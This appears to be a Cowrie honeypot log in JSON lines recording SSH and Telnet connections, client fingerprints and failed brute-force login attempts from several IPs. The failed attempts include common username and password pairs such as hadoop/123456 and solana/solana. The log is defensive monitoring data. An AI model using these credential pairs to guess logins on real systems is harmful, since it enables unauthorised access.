{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:21.033852Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"pronto","message":"login attempt [user/pronto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:21.522784Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"porsche911","message":"login attempt [user/porsche911] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:22.629709Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"poobear","message":"login attempt [user/poobear] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:23.736608Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38506,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4a5cc9790e7","protocol":"ssh","message":"New connection: 193.32.162.151:38506 (159.203.135.109:22) [session: b4a5cc9790e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:24.345833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:24.350223Z","src_ip":"193.32.162.151","session":"b4a5cc9790e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:24.447680Z","src_ip":"193.32.162.151","session":"b4a5cc9790e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:24.823344Z","src_ip":"193.32.162.151","session":"b4a5cc9790e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"plumbing","message":"login attempt [user/plumbing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:24.842325Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:25.929388Z","src_ip":"193.32.162.151","session":"b4a5cc9790e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"plum","message":"login attempt [user/plum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:25.947761Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:27.056749Z","src_ip":"2.57.121.25","session":"9b0d3164914d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.163.32.153","src_port":53788,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf197e552e7","protocol":"telnet","message":"New connection: 1.163.32.153:53788 (159.203.135.109:23) [session: 3cf197e552e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:32.447647Z"}
{"eventid":"cowrie.session.closed","duration":12.285581588745117,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:27:44.733098Z","src_ip":"1.163.32.153","session":"3cf197e552e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":52742,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b9385857644","protocol":"ssh","message":"New connection: 195.178.110.218:52742 (159.203.135.109:22) [session: 6b9385857644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:21.381276Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:21.462845Z","src_ip":"195.178.110.218","session":"6b9385857644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":42458,"dst_ip":"10.17.0.5","dst_port":22,"session":"e29a27cf6771","protocol":"ssh","message":"New connection: 80.94.92.186:42458 (10.17.0.5:22) [session: e29a27cf6771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:21.854106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:22.093827Z","src_ip":"80.94.92.186","session":"e29a27cf6771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:22.097689Z","src_ip":"80.94.92.186","session":"e29a27cf6771","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:23.405686Z","src_ip":"80.94.92.186","session":"e29a27cf6771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:28:24.756053Z","src_ip":"80.94.92.186","session":"e29a27cf6771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54398,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b7c107ffceb","protocol":"ssh","message":"New connection: 193.32.162.151:54398 (159.203.135.109:22) [session: 8b7c107ffceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:29:37.599734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:29:37.607822Z","src_ip":"193.32.162.151","session":"8b7c107ffceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:29:37.709398Z","src_ip":"193.32.162.151","session":"8b7c107ffceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"1234567890","message":"login attempt [hadoop/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:29:38.020079Z","src_ip":"193.32.162.151","session":"8b7c107ffceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:29:39.129396Z","src_ip":"193.32.162.151","session":"8b7c107ffceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":47840,"dst_ip":"159.203.135.109","dst_port":22,"session":"817779016e05","protocol":"ssh","message":"New connection: 195.178.110.218:47840 (159.203.135.109:22) [session: 817779016e05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:20.720555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:20.724963Z","src_ip":"195.178.110.218","session":"817779016e05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:20.804673Z","src_ip":"195.178.110.218","session":"817779016e05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:21.043834Z","src_ip":"195.178.110.218","session":"817779016e05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:22.126171Z","src_ip":"195.178.110.218","session":"817779016e05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":45144,"dst_ip":"10.17.0.5","dst_port":22,"session":"1048ed256edb","protocol":"ssh","message":"New connection: 80.94.92.186:45144 (10.17.0.5:22) [session: 1048ed256edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:29.494738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:29.627411Z","src_ip":"80.94.92.186","session":"1048ed256edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:29.630735Z","src_ip":"80.94.92.186","session":"1048ed256edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:31.153968Z","src_ip":"80.94.92.186","session":"1048ed256edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:32.315859Z","src_ip":"80.94.92.186","session":"1048ed256edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":42028,"dst_ip":"159.203.135.109","dst_port":22,"session":"e43b7cda4fa3","protocol":"ssh","message":"New connection: 193.32.162.151:42028 (159.203.135.109:22) [session: e43b7cda4fa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:49.324915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:49.329680Z","src_ip":"193.32.162.151","session":"e43b7cda4fa3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:49.436030Z","src_ip":"193.32.162.151","session":"e43b7cda4fa3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"Oracle1234","message":"login attempt [oracle/Oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:49.874074Z","src_ip":"193.32.162.151","session":"e43b7cda4fa3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:31:50.983785Z","src_ip":"193.32.162.151","session":"e43b7cda4fa3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":8524,"dst_ip":"10.17.0.5","dst_port":22,"session":"a461a5f0f0a7","protocol":"ssh","message":"New connection: 193.46.255.86:8524 (10.17.0.5:22) [session: a461a5f0f0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:35.671134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:35.675672Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:35.814338Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"123456","message":"login attempt [pritchard/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:36.430302Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pritchard","password":"abc123","message":"login attempt [pritchard/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T08:32:37.568843Z","src_ip":"193.46.255.86","session":"a461a5f0f0a7","protocol":"ssh"}
